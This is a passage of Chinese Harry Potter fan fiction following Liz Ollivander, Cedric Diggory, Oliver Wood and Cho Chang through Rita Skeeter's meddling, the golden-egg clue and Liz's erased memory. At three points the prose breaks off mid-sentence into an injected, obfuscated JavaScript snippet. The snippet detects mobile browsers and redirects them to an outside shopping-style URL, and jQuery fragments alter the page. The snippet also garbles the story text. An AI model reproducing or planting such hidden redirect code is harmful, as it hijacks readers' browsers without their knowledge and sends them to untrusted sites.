这一回答引得桌上另外两个人一下子笑出了声,塞德里克笑得磕碰到桌面,差点没把汽水瓶都弄掉在地上,而莉兹一副“我就知道你这家伙没救了”的表情,用玩笑似的口吻说道:“这可怎么好,木头先生有了新的爱慕对象呢。” 她的调侃说得伍德面颊一热,慌张地要解释,一抬头看到一个穿着怪异的紫色毛领的杨红色长袍的女人走进了店里,她提着亮闪闪的鳄鱼皮手袋站在原地东张西望,得益于多年的魁地奇训练,伍德有着比常人更敏锐的危险感知能力,比如说,他在女人转向他们这桌之前,便感觉到了这个人绝非善茬。 后来的事情也证实了伍德的直觉十分正确,因为他很快注意到了莉兹稍稍用力咬紧了牙关,而转过身去的塞德里克也皱起了眉头,他低下头侧过脸试图躲避对方的视线,低声说着:“真是有够倒霉的,她来这里做什么。” “哦该死的,她走过来了。”同时尝试着把半个自己躲到伍德身后的莉兹也这样说着。 那女人自顾自便坐在了这桌剩下的空位上,从手提袋里摸出羽毛笔和采访本,对着伍德伸出右手主动做了自我介绍:“我是丽塔·斯基特,《预言家日报》的撰稿人,能在这里见到你真是我的幸运,伍德选手,我想见您一面很久了。” 听着这矫揉造作的说话方式,莉兹实在是一分钟也待不下去了,她倒不是记恨丽塔之前在报道中写的那些关于她与克鲁姆和塞德里克子虚乌有的感情纠葛,也不是因为她反感和小时候一样被摆到众人的视野中,而是她清楚明白丽塔·斯基特最想要是那位大难不死的男孩的故事,其他人就应该是陪衬。可是莉兹明显意识到这个女人对自己有着超出平均的好奇心,这背后藏着的事情让她烦躁。 她拉过伍德的手,二话没说起身要走人,甚至没有留出几秒钟让对方成功握到伍德的手,塞德里克抓起莉兹忘在椅子上的围巾,迅速抛下一个礼貌其合宜的微笑追上二人。 外面飘起了雨丝,细细密密的笼罩在身体周围,潮湿的感觉落进敞开的领子,莉兹冻得打了个喷嚏,伍德眼疾手快从一旁塞德里克手里接过围巾把她的脸裹得严严实实。 “真奇怪,我一直觉得她好像对你更感兴趣,而不是对我。”塞德里克看了一眼狼狈地被围巾绑架了莉兹,笑了笑说。 挣扎着扒开围巾,莉兹喘了两口气,把手伸进伍德的上衣口袋里取暖回道:“我也希望这是我的错觉,但这好像是真的。” “所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487847|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有人能给我讲讲这又是什么情况,塞德?莉兹?”伍德从来没有任何时候比现在更希望自己现在还是个十七岁的霍格沃茨学生,女朋友和好兄弟今天说的话他是半个单词也听不明白,起初还能接受,这会儿是一点耐心都没有了。 “我猜你一定没看过《预言家日报》上那篇勇士们的秘密专题访问,”塞德里克那副看好戏的眼神毫不掩饰,“我回去找找寄给你。” “有什么可看的。”莉兹冷哼了一声。 “确实是没有,”塞德里克点点头,“什么花花公子迪戈里玩弄米歇尔二代啦,什么米歇尔二代招揽克鲁姆的美人计失败啦,还有……” “这都是刚刚那个女人写的?”憨直的奥利弗·伍德对胡编乱造的报道内容接受度当然比不上他们二位,“这完全就是在针对你,她为什么要这么伤害你?” “伤害我吗?这种程度的内容我已经可以当成笑话看了。”莉兹轻描淡写摆了摆手。 “就没人觉得我会因为‘花花公子’这个词而受伤吗?”塞德里克眨了眨眼。 “是的,没有。”莉兹果断回复,接着突然低头微微一笑,让伍德一时间没了主意。 “这样真的没问题吗?”他只能再次关切询问,毕竟不能时时刻刻陪在她的身边,他一直想自己能不能在见面时多做些什么。 “如果之后你们再碰面,把她当成透明人,什么话都别说。”莉兹捏了捏他的手心,“这就足够了。” “那我就先消失了,二位玩得开心,我也得回去看看我们张小姐有没有什么需要我做的。”塞德里克小跑着很快与他们拉开了一段距离。 留下慢慢走在后面的两个人面面相觑,他们相视一笑,又看向了一旁,莉兹拉紧了伍德的手:“还有就是,请我吃松饼吧。” 这天一直快到门禁前莉兹才溜回了城堡,她路过了德姆斯特朗那艘黑漆漆的大船,岸上搭建着临时的活动住房,晚上起风时,她发誓自己看到那房子和大船一起晃动了。 在走廊躲过巡夜的费尔奇,她快步登上台阶,穿过空无一人的公共休息室,最后推开寝室门。伤心了一天的玛丽埃塔把脸埋进被子里,只能看到蓬松的头发乱糟糟堆在枕头上,秋坐在床上继续研究着那本《听声辨物》,帕德玛对着镜子在梳理自己的长发,寝室里静悄悄的,只能听见柴火劈里啪啦冒火星子的声响。 这安静的氛围很难得,莉兹很喜欢,于是她放下床帘躲进了自己的小空间,床上摊着昨晚看的书、塞西尔和伍德的信还有两张填字游戏还没完成的报纸,她胡乱将它们扫到一起堆起来,塞西尔先前送来的那张小便签晃悠悠落到了地毯上,她弯腰去捡,又瞥了一眼上面的内容。 霎时间脑子里像被点亮了一盏灯似的,她没有穿鞋就快步走到了秋床边,从她手里抽出了那本书,迅速翻到了其中一页,自言自语道:“我太笨了,这都能漏掉。” “你找到了?”秋坐直了看向她。 “我错过了很明显的提醒,”莉兹笑起来,“我现在知道怎么处理了。” 她放下书,秋低头看了一眼翻开的页面,上面写着“人鱼”。 60. 金蛋的秘密被解开 “所以你得出的结论就是,”塞德里克说着裹紧了身上的巫师袍,手指了指不远处,“让我跳进黑湖里?” “哦我的朋友,你的脑子怎么突然就一点儿也不好使了,我记得你上学期的保护神奇生物期末考试比我还高呢。”莉兹摸出魔杖挥了两下,湖边在风中摇曳的柳树枝被截断,接着编织成了一个网兜悬在半空。 一手怀抱着金蛋的塞德里克跟在她身后,只见莉兹拿着魔杖向下一点,做好的网兜便落进了湖中,然后她回过头伸手招了招说:“把金蛋打开扔到那里面吧。” “是因为人鱼在岸上无法正常发声?”塞德里克将信将疑地用指尖划了一下蛋壳上的凹槽,凄厉的尖叫声立刻在空荡荡的湖面上扩散开。 莉兹单手捂住一边的耳朵大喊道:“快点!” 当水没过金蛋顶端时,刺耳的声响一瞬间融进了湖水中,一阵隐隐约约的歌声传来,莉兹和塞德里克惊喜地看向彼此,默契地趴下伏在了木桥上,将耳朵凑近,仔细地听人鱼的吟唱,只不过水中的声音实在难以传上岸,两个人尽管已经将耳朵贴着木桥却还是很难听清在唱些什么。 “我们得到水下听才行。”莉兹拍了拍肩头的泥站起身来。 “你不可以把我踹下去。”塞德里克警惕地两脚站稳、放低重心。 “我看起来有那么残忍吗?”莉兹将网兜收紧合上金蛋,然后一挑魔杖将它收回。 “这个问题很难说。”塞德里克微微一笑,后退了半步,接着又连跨几步先行退到了安全地带。 “我也想知道教授们有没有这么死脑筋,人鱼能在非自然界的水中存活吗?”莉兹反问塞德里克,“你说有没有什么书是写人鱼养殖的?” “梅林啊,你怎么敢……”塞德里克慌忙上前两手扶住莉兹的肩膀,推着它远远离开了湖边,一直到穿过禁林,他才又继续说,“你知道人鱼和人马一样都是高自尊且高智水平的生物吧,它们有自己的语言、文明和历史。” “不能用‘养殖’就……饲养?”莉兹摇了摇头,“不对,我应该怎么说……” “你要不什么都别说了。”塞德里克拿回了那颗金蛋。 “总之我只是想知道人鱼在比如说洗澡水里还能不能正常发声,会不会也在惨叫。”莉兹耸耸肩。 “那我晚上去做个实验就好,”塞德里克笑笑,“我们不是有级长特权吗?” “要是实验成功你就用我教你的咒语传张便签到拉文克劳塔楼,我们在球场办公室碰面,”莉兹也笑起来,“但要是实验失败,明天清早还过来这里,这回你就要在水下听歌了。” “你其实只是想把我踹进湖里,对吧,奥利凡德小姐?”塞德里克被她的笑容惹得一阵胆寒。 “答对了,迪戈里先生,赫奇帕奇加三分。”莉兹说完便一蹦一跳上了台阶,而塞德里克则站在原地扯了好半天才将裹在金蛋上的柳枝全都拆掉。 大约是因为距离解开谜题越来越近了,又因为今天是圣诞假期前最后一天上课,莉兹的心情变得很不错,在去吃早餐之前她跑到了猫头鹰棚屋将自己和塞德里克的进展写给了塞西尔并且感谢她的提醒,然后把背包里准备送给伍德的防风镜包好,揉了揉班克脑袋,叮嘱它要先送到普德米尔联队,接着再去查令十字街。 迈着轻快的脚步走进礼堂,连续不断有不算友好的目光朝她这里射来,莉兹在意识到第三束目光时确认了这并非她的错觉,一步步靠近拉文克劳德桌子,她发现那些看着她的人手边都放着一份《预言家日报》,似乎也都翻到了同一页。 “看什么呢?”她在戴维斯身后停住脚步,伸手抽出报纸。 “喂,你太没礼貌了,怎么可以抢别人的东西……”坐着的戴维斯立马伸手去够,却看到斜对面的芙蓉朝这边扫了一眼,他便立刻收回手,轻轻咳嗽了两下,“莉兹,还给我。” 很显然,这一次的罪魁祸首仍然是那位才华横溢的撰稿人,如今霍格沃茨竟还有这么多学生相信丽塔的文章,莉兹对自己学校的未来稍微有点担心。不过报社能专门给出整个版面用来连载三强争霸赛的相关资讯,她对巫师界媒体的未来也很是担心。 “我倒是不介意的啦,毕竟我们都希望塞德里克能赢。”玛丽埃塔小声地凑过来,“所以是真的有内部人士帮你们作弊么……” “玛丽,”秋抬手阻止了想要追问的玛丽埃塔,“我想塞德和莉兹不需要自证,指控的人应该自己给出‘知情人士’的名字才是。” 莉兹惊讶于这段话是来自那个性情温和的秋·张,忍不住想给她鼓个掌,但最后只是点点头把报纸扔回到戴维斯面前,自己跨过长凳坐下开始吃盘子里的华夫饼。 “有道理,我也很好奇这位‘知情人士’。”莉兹心想着,连塞德里克都不知道塞西尔在信里写到了默库斯,寝室里也不会有人来翻自己的行李箱,还是说丽塔给几个勇士都施了什么窃听的咒语,这可太蹊跷了。 漫不经心切着华夫饼时,一连两只猫头鹰飞过她的头顶,一份魁地奇速报和一份牛皮纸包裹落下,莉兹摸出几个纳特给那只送报纸的猫头鹰,把包裹先放到一旁,翻开了魁地奇速报,习惯性看头版塔尔的专题,不出意外这期的主角应该还是米歇尔女士,毕竟她在普德米尔执教的最后一场魁地奇比赛,三天前以一场大胜划上了完美的句点。 “揭开传奇教练的阴暗面——私权滥用是她最终的手段吗?”莉兹轻声念出来,而后用一声冷笑表达了自己的态度,直到瞥见了“奥利弗·伍德”的名字,她恍然大悟,仿佛眼前的线索被一个个串了起来,于是她又冷哼了好几声。 早上第一节有课的秋已经被玛丽埃塔拉着离开了礼堂,莉兹周围只剩下一个刚刚穿着一双颜色不同的袜子走进来的低年级女孩,她戴着一副奇特的耳环,像是用黄油啤酒塞子做成的,一头金色的长卷发比莉兹的看起来还要乱糟糟的,眉毛浅得几乎看不见,神奇的是她也有着一双银色的眼睛,在浅发色的衬托下泛着蓝光。 “今天的南瓜浓汤里加了很多香料,”女孩冷不丁开口,“我很喜欢这个味道。” 沉浸在思考之中的莉兹倏然回过神来,手里的叉子掉在盘子上,发出清脆的响声,她转头和女孩眼神相对,女孩对着她微微一笑。 “卢娜,三年级的魔咒学课应该快开始了,再不去的话要迟到了。”莉兹很快记起了女孩的名字,因为在她入学那年,莉兹因为被米歇尔饿了一整周,一直到分院仪式结束,她满脑子都只装着“我想吃东西”这一件事,根本没在意那年拉文克劳的新生到底有哪些人,要不是成了级长,她大概更是没有记忆学生名单的心情。 “没关系的,弗立维教授说今天的课会用来学唱圣诞颂歌,我们可以晚到。”卢娜说话的语气慢悠悠的,整个人透着一股悠闲的氛围,莉兹想若是洛夫古德家族的人都是这样的脾性的话,米歇尔女士一定是异类,真不敢相信自己和面前的女孩会是亲戚。 三两口解决掉剩下的华夫饼,莉兹也吃了一份南瓜浓汤,奇特的香味确实不错,走之前女孩又叫住她:“莉兹,你的头发上有一片叶子。” 把手伸进厚厚的头发里摸了摸,莉兹拿出了一片干枯的柳叶,她盯着叶子看了一会儿,又低头看着卢娜,然后轻轻将叶子抛到空中,把它变成了一只会飞的小鸟,从她的手心飞起落到了卢娜的肩头:“谢谢你。” 女孩和鸟儿一起歪着头,目送她离开礼堂。 温馨的小趣事让莉兹差点忘记刚刚看到报纸时的怒意,她想自己应该找谁打听一下丽塔和米歇尔上学时的故事,不然谁会无缘无故用上假名十几年如一日深挖一位退役选手的情报, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“太好听影响我思考了,”莉兹手托腮,“这样可以吗?” “谢谢夸奖。”塞德里克指着“一小时”继续说,“也就是说我真的需要被踹进黑湖里。” “泡头咒,只要你没有口臭的话。”莉兹一副“看热闹不怕事儿大”的表情。 “你不觉得潜水比泡头咒更难吗?”塞德里克无奈道,“谁都不知道黑湖有多深。” “我觉得有人知道。”莉兹想起了什么,突然直起身子。 “别开玩笑了。”塞德里克摆摆手。 “我没有在说笑话,我是想说我昨天中午看见克鲁姆在练跳水,我还以为冬泳是职业选手的日常训练内容呢。”莉兹指向塞德里克,“明天开始就让秋监督你,我们显然又比德姆斯特朗落后了。” “太残忍了。”塞德里克狠狠摇头。 “你应得的,勇士。”莉兹将食指收回握拳,接着竖起拇指说道。 时间已到深夜,尽管第二日就不再上课了,但被看到凌晨在寝室外逗留还是会被训斥的,他们两个人默契地在走廊前分开,迅速地抄近道向着各自学院的公共休息室跑去。拐过最后一个转角时,莉兹看到几步之外有个人影,她连忙背过身躲在墙后,脚步声越来越近,微弱的月光照出了那人的轮廓,像是手上还拿着一根粗棍,听起来呼吸声也很重,而那边正是黑魔法防御课教授的办公室。 穆迪教授吗,她闭上眼睛去听,没错,是相同的魔杖,可那身型不是穆迪。 她察觉到自己的心跳越来越快,屏住呼吸等待办公室门关上,她才敢吐出一口气,只是刚放松了半秒钟,下一秒就是眼前一片亮白色,就仿佛是灵魂从身体中剥离了出来一般。 “看来奥利凡德小姐还是没有把第一节课的要点放在心上。”男人抛下一句话,抓在手里的假眼珠来回转了好几圈,而失去意识的莉兹就这样摇摇摆摆走向楼上。 61. 醒不来的噩梦 莉兹觉得自己好像做了一个噩梦,自己的手脚被铁制的圆环穿透,看不见的丝线将它们吊起,控制着它们向前行走,她无法出声,也无法停止,她看到前面是无边的悬崖,一低头便是万丈深渊。她张开嘴试图高喊着自己的名字,她认为这一切都不是真实的,她希望自己能清醒过来。 最后一刻撕心裂肺的尖叫声穿透了她的耳膜,剧烈的疼痛像一根尖刺一般直接扎进太阳穴中,仿佛是一种求生欲,莉兹逼迫着自己必须在这一刻将双眼睁开,因为如果不醒来的话,迎接她的将只有死亡。 “醒一醒,莉兹,醒一醒。” 长发凌乱地披散着,秋·张将巫师袍潦草地裹在身上,眼中满是担忧,她伏在莉兹的床边,轻轻摇晃着她的肩膀,房间里的其他人也被这动静弄醒,玛丽埃塔和帕德玛匆忙穿上鞋走过来。然而平日里总是能安静熟睡着的人,这一刻眉头紧锁,整个人好像是在挣脱床垫的封印似的,她挣扎着、张着嘴,可却没有发出任何声音。 突然地,一双银色眼眸出现在了三人眼中。 莉兹醒了。 “哦我的梅林,你把我们三个人吓坏了。”玛丽埃塔松了一口气,抚摸着心口在床尾坐下。 “你是做噩梦了吗,你看起来很害怕。”帕德玛把莉兹最爱的太妃糖递了过去。 “你昨晚出去过吗,”秋拿过挂在一旁椅子上的外套先给莉兹披上,“我们睡得很早,都没有听见。” “我……昨晚出去过吗?”莉兹缓慢地扣好外套的第一个纽扣,下意识到枕头底下摸魔杖,却意外发现魔杖已经被握在了手中,微弱的晨光透过窗户照进来,她猛地掀开被子站起身,“不好,我跟赛德里克约了清早去黑湖边,我们要一起解决金蛋的问题。” “可你看起来很憔悴。”秋拉住她,“我去帮你跟他说一声就好了。” “我们得在圣诞假期开始前搞定,我没事的。”莉兹一边说话一边甩了甩魔杖,要穿的衣服便一件一件飞出来。 “她脸色这么难看真的没问题吗?”玛丽埃塔看着飞快套着毛衣的莉兹,问身旁的秋。 秋犹豫了几秒钟,而后转身打开了衣柜也开始换衣服:“你等等我,我跟你一起去。” 跟在莉兹身后小跑着穿过禁林,秋觉得她看起来不是第一次走这条近道了,熟门熟路的样子,跨过冒出泥土的树根,也躲过生长歪斜的树干,秋差一些都被绊倒。 “你之前从这里走过吗?”总算走出了树林子,黑湖就在目及之处,秋放慢了步速问道。 听到这一问句,莉兹在原地站定,左右看了看,接着看向秋,两束疑惑的目光相对,最后摇了摇头:“从来没有,这是先前乔治和我提过的小路,我是第一次来。” 尽管莉兹说话的语气和表情与平时都没什么区别,秋还是觉得她今天有些反常,她们在黑湖边站了好一会儿,直到太阳难得从冬日厚厚的云层中探出头,一丝微小的暖意落在肩头,赛德里克才气喘吁吁地赶到了湖边,他解开脖子上的围巾,在冻红了脸颊的秋脖子上绕了两圈打了一个结。 “我刚去礼堂吃早餐,碰见玛丽埃塔说你们在这里等我,”赛德里克转向莉兹,“我们不是说好今早不用过来的吗?” “不对,我说金蛋的秘密应该和黑湖的人鱼有关系,所以约好在这里见面。”莉兹眨了眨眼,她不知道为什么赛德里克会失约。 “那是前天晚上你和我说的,”赛德里克强调,“昨天早上我们已经来过了,甚至,昨天夜里我们已经解开了金蛋的秘密,你不记得了吗,人鱼的歌声,练习泡头咒?” “我没有任何印象……今天是周五?”莉兹尝试着去回忆赛德里克提到的那些事情,尖锐的疼痛感又出现了,她两手按着太阳穴弓起背。 “今天已经是周六了。”秋倒吸了一口凉气,走上前扶住了她,“我们去找庞弗雷夫人吧,她一定知道是怎么回事。” 赛德里克走到另一边,托住了秋的手臂,和她两个人一起扶着莉兹往校医院去。 好在霍格沃茨在昨日已经结课,圣诞假期的第一日,走廊上不再有来来往往要上早课的学生,走到半道时,稍稍恢复的莉兹摆了摆手迈开步子走在了两个人前面,她低下头仔细分析目前的情况,很显然她消失了一天的记忆,并且一旦尝试回想就会被阻挠,这绝对不会是自然而然发生的事情。 她停住脚步转过身,后面的俩人一下子没反应过来,三个人撞在一块儿,莉兹一点不在乎地抬头瞥了一眼赛德里克说:“我需要你尽量把昨天发生的所有事,和我有关的,你知道的内容,全部都告诉我,秋也是,你如果在什么地方看见了我,也一并告诉我。” 三人在走廊的长椅上坐下,莉兹听着他们说的,继续翻查这里面不对劲的点:“你是说,昨晚我们在魁地奇办公室碰头,然后是在老地方分开的。”她若有所思,“好的,那我沿着原路走一遍,你们享受假期去吧。” “莉兹!”秋想叫住她,被赛德里克按了按肩膀,“她要是再头痛的话……” “她会没事的,你没看到她在笑吗?”赛德里克笑着看向莉兹的背影,“她把这件事当成了解谜游戏。” “塞德你这样想太幼稚了,你没看到……”秋轻轻甩开他的手,想说早晨莉兹醒来前那痛苦的模样,但是出于礼貌,她只好是改了口,“我要先去和弗立维教授报告一下,我担心莉兹的身体。” “可她挺厉害的,真的。”赛德里克小声嘀咕着。 “那我们就应该当作没有看到她很难受吗?”秋抛下他便跑上了楼,她希望弗立维教授已经到了办公室。 另一边莉兹已经沿着路线走到了三楼,那个拐角的楼梯会时不时变换方向,其中只有一个方向是直通拉文克劳塔楼的,邓布利多校长的办公室入口也在这层,而隔了一段路有扇紧闭的木门,那里面是穆迪教授的办公室,尽管大多时候黑魔法防御课的老师都会选择从二楼的教室直接进入办公室。 她看不出这里有什么不寻常的地方,正准备离开时,她在角落里看到了有什么小东西隐约在发光,弯腰将它捡起,那是一枚级长徽章,蓝色银边的,表面上那道熟悉的划痕提醒了莉兹,这枚拉文克劳学院的徽章是属于她的。因为这来自赛德里克在第一个项目里收到的那只小号瑞典短鼻龙,虽然是模型,但爪子依然锋利。 为什么会出现在这里?她回头看着长长的走廊,这个位置离楼梯有一点远了,自己不应该会走到这里。也许有一个咒语可以帮助自己理清思绪,她将徽章放到手心,举起魔杖对着它念道:“踪迹显形(AppareVestigium)。*” 金色的烟雾从魔杖前段冒出,在她周围盘绕着,接着慢慢出现了人影,但模糊的身影她无法确认对象,只能勉强看出倚靠在墙根的人是自己,可那个慢慢朝着这里靠近的人是谁呢,此时紧闭的木门被打开,一阵激烈的争吵声从中传来,她便迅速停下了追踪咒语,轻手轻脚走到门前。 “卡卡洛夫,别以为我不知道你耍了什么花招,别让我再看到你手臂上那个……” “阿拉斯托,你的疑心病让你变成了一个老疯子!” “哦是吗,你觉得我是老疯子吗,我多的是眼睛盯着你,你在心虚什么!” “我心虚?离谱的疯子,这是你们霍格沃茨的待客之道吗?” “原来你认为你是一位贵客,天大的笑话。” “阿拉斯托你……” 声音戛然而止,莉兹与伊戈尔·卡卡洛夫从门缝里对上了视线,高瘦的老头面色凝重,他见过这个姑娘和克鲁姆说过话,稍有些无礼地对着她一甩袖子,然后狠狠摔门而去。 拄着拐杖的穆迪不紧不慢从里面走出来,压低了声音对莉兹说:“那老家伙就是恼羞成怒了,不怕告诉你这个秘密,他以前也是那个人的手下。” 虽然莉兹很想说一句她对这件事不是很好奇,但她还是装作感兴趣似的点了点头,又将级长徽章塞回了口袋里,直觉告诉她这件事暂时不可以让任何人知道,可惜没等到她和穆迪教授道别,秋已经带着弗立维教授赶来了三楼,赛德里克也跟在了后面。 “哦,阿拉斯托你也在,这太好了。”弗立维教授看起来有些担忧,他与穆迪打了个招呼,然后抬头看向莉兹,“张小姐把事情都告诉我了,消失了一整天的记忆是一件很严重的事情,我们必须检查你是不是被什么恶咒击中了。” 欲言又止的莉兹无奈地看了看赛德里克,对方微微耸肩,似乎在说这件事和他没关系,可她又看到秋的表情,当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487849|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她是真的在关心自己,她对此十分感谢,只是……只是莉兹此时脑海里出现了穆迪教授第一节课说的“随时保持警惕”,因此她不认为除了她自己之外有谁是值得信赖的。 “弗立维教授,我真的没有问题,是秋太紧张我了。”莉兹安抚地拍了拍秋的手臂而后解释着,不过这份解释说服不了热心肠的弗立维教授也说服不了多疑的穆迪教授,她只能坐在椅子上,让他们检查自己是否被下过咒。 “记忆咒……有人改了你的记忆。”站在一旁的赛德里克抢先说出了口。 “我明白了,”穆迪斩钉截铁开口,“我经常看到有德姆斯特朗和布斯巴顿的男孩子围着你转,我昨日听迪戈里先生说你们两个人已经快解开金蛋的秘密了,一定是有人想要给你们使绊子。” “阿拉斯托,这是很严重的指控。”弗立维打断了穆迪。 “你告诉了教授?”莉兹小声问赛德里克。 对方低下头在她耳边说着悄悄话:“我夜里抱着金蛋准备去级长盥洗室,被穆迪教授看到了,他对着做了一个‘好’的手势,我就觉得我们这一步一定是走对了。” 又一次不知道该说些什么的莉兹只好保持沉默,穆迪又继续说:“我今早还看见卡卡洛夫在这附近转悠,他不留在自己的破船上,为什么跑来城堡里,我想邓布利多今天应该不在学校吧。” 他顿了顿:“一定是为自己学生做的坏事遮掩吧,我一定要把这件事捅到巴蒂那里去。” “阿拉斯托!”弗立维见状叫出了声,“我们现在没有足够的证据,贸然行动只会引起国际纷争,等到邓布利多校长回来,我……” “教授,”莉兹忍不了了,开口说,“我不打算追究,就算真的是他们做的,您也说了这是关乎国际纷争的大事,我是霍格沃茨的学生,我会保持我的风度。” 赛德里克和秋交换了一个眼神,因为这段话有可能从任何一个学生最终说出来,却绝对不可能出自那个莉兹·奥利凡德。他们不可置信地看着她用圆滑而周全的言语打发了一位暴怒的教授和一位慌乱的教授,接着又被她一手一个拉出了办公室,三人迈上了直通拉文克劳塔楼的楼梯,莉兹解开了门环的问题,把二人一起迎进门。 “我接下来要说的话将十分冒犯,但我需要告诉你们,”莉兹转身说道,“我的事情我会自己看着办。” “智慧过人的奥利凡德可以一个人解决所有问题,不需要任何朋友,是吧?”赛德里克轻哼了一声。 “是的,不需要。”莉兹面无表情地回答。 “这很不错。”赛德里克点点头,牵起秋的手,“我到现在为了‘某人’还没吃过东西,我饿坏了。” 大门关上,望着空荡荡的公共休息室,和壁炉里刺眼的火光,莉兹发现自己的大脑停止了思考,为什么这是自己想要的结果,却还是这样失落呢。 午后的泰晤士河畔,公寓的窗户紧闭,一只眼睛上有疤的猫头鹰落在窗沿,西里斯提醒在摇椅上打着瞌睡的女人有来信了。 “班克,好久不见了!” 最近把头发变成了浅粉色的塞西尔把眉毛也染成了浅色,看起来像个奇怪的绒球,她揉了揉猫头鹰,立刻解开系在它爪子上的羊皮纸卷。原本还微笑着的表情变得很是凝重,西里斯看出了她神色的巨变,又见她飞快地抽出一张空白纸刷刷几下写下回信,没过几分钟就递给了班克,拍拍猫头鹰的脑袋,催促它快飞回去。 “发生什么了?”西里斯问。 “我要去见邓布利多先生。”塞西尔站起身。 “你还是没有回答我的问题。”西里斯说。 “没什么事情,就是霍格沃茨真的不安全。”塞西尔抓过外套披在肩上,下一秒幻影移形离开了房间。 西里斯摇摇头,空有一肚子气没处发。 而把自己一个人关在魁地奇办公室的莉兹没想到会这么快收到塞西尔的返信,她的话语简洁,只提醒了一句:“从现在开始和你的朋友结伴出行,不要一个人。” 万事不凑巧,梅林开玩笑,这下轮到莉兹伤脑筋了。 *这是纽特在神动2电影里使用过的咒语,在隐藏街大街上寻找蒂娜的踪迹时,咒语的设定是能够让一定时间内的魔法踪迹显现出来。 62. 总要有人退一步吧 远近驰名好脾气的完美先生迪戈里与他的聪明绝顶的军师奥利凡德小姐拆伙了,这件事不知是怎么传开的,就连克鲁姆都听说了,只是他误会了他们的关系,以为赛德里克要在圣诞舞会前被舞伴放了鸽子。而其他人大多都认为是莉兹的问题,毕竟她实在算不得是一位和善的好姑娘,甚至偶尔还有些讨人厌的傲慢。 秋·张起初以为过两天就没事了,因为她知道莉兹实际上很心软,再加上她也从未见过赛德里克和谁有过矛盾,就算以前跟奥利弗·伍德拌嘴,他们隔天便和好了。谁料到这次却不一样,赛德里克看起来是真的把莉兹的“不需要”给记在心里了,秋几次尝试让他们碰个面,就当一切没发生过,可都被赛德里克用各种借口搪塞了过去。他总是笑嘻嘻地用鼻子蹭蹭她的脸颊,然后继续低头看起书。滑稽的是,那些书都来自莉兹手抄给秋的书单,比如《人鱼习性两百条》、《水下常用魔法大全》之类的,秋很清楚他完全认得出那纸上的字迹,所以她真的搞不懂最“通情达理”的男朋友在这里闹什么脾气。 被夹在二人之间的秋难以应付这样的尴尬,尽管莉兹平日里就寡言少语,一整天不说话也是常有的,但临近舞会,玛丽埃塔经常在寝室里提及赛德里克,这让秋越来越不太好意思去看莉兹的表情。很显然他们之间需要有一个人主动退一步,在秋看来,莉兹前一晚将那张书单递给她的时候就已经是让步了。可她说的是“我想你们需要这个”,而不是“赛德里克需要”,于是秋又把不准现在的莉兹到底有没有在生气了。 如果有人在当晚问莉兹有没有后悔说出那句容易伤到朋友的话,她大概会点点头回答“是”,可时间过去了一天、两天、三天,她便不会再将和别人有关的事情放在心上了,她有一个只能装得下她自己的世界,在那里面她会永远过着充实而满足的生活。就像伍德寄信来时,秋偶尔会感叹说她很难想象明年赛德里克就要七年级,因为毕业了就不能每天见面了。 然而莉兹很多时候并不能体会秋的担忧,她知道自己想见伍德,可即便是不能朝夕相对,这也影响不了她的心情,不如说孤独这个词从来就没有出现在莉兹的词典里,也可以换一种说法,就算身边空无一人又如何,那不能让她抛弃她的生活。 “这可真是一种足够伤人的态度。” 脑子里突然有一个声音响起,她下意识看向了左边,伸手胡乱挥了挥,就像那里真的有什么似的。 “哦伊丽莎白·奥利凡德你在这儿反思什么,你自己中的咒语还没解开呢!” 另一个声音接着响起,她再挥手扫了扫右边,长叹一口气弯腰将额头抵在一本书上,好像要钻进去一样。 也许是为了让今年所有留校的学生不要玩得太过放肆,每门课的教授都布置了许多作业,只是莉兹自从不用帮赛德里克准备三强争霸赛后多了许多时间,她不仅邮购了很多材料制作了两根性能完备的魔杖,还看完了塞西尔寄来的一套书,至于发生在城堡三楼的那件事,她牢记着塞西尔的提醒没有再一个人上去调查过,她的太阳穴也没有再刺痛过。 于是作业就成了她最后一件用来打发时间的活动,宾斯教授要求每个人写一篇不少于三英尺羊皮纸的论文,全面分析霍格沃茨几位创始人发生冲突的原因。而她的论文整篇拉下来,竟然要超过她的个头。这议题勾起了她在康沃尔郡那个岛上的回忆,米歇尔强硬地要求她做出选择,同时也让她带进了与赛德里克的矛盾里,她说不好自己是在写分析,还是在自我控诉。 写完最后一个字母,米拉尼尔飞过礼堂大门,落在莉兹跟前,外面下着雪,它头顶落满了白色,遇着热气它抖了抖羽毛,甩了莉兹一脸的水。假期以来,伍德几乎每天都要给她写信,他会告诉她队里发生了什么变化,冬窗来了哪些新人,又走了哪些人,还说他又长高了,如果可能的话,他大概要连每餐吃了什么都写下来。 莉兹 我今天刚从巴黎回伦敦,昨天比赛结束后我在隐藏街逛了小半天,看到了这个小玩意儿希望你会喜欢。 今年圣诞节我要跟爸爸妈妈去一趟利物浦,我的姑妈身体不太好,我们得陪陪她。 正因如此,我提前把礼物寄给你了,不要担心回信的地址,米拉尼尔认识到姑妈家的路,而且你送的防风镜我昨天已经用上了。 对了,我听说你要和乔治一起去舞会,那……(划掉了几行字)我在霍格沃茨七年都没碰上这样的好事情,真想第一个邀请你去舞会的人是我。 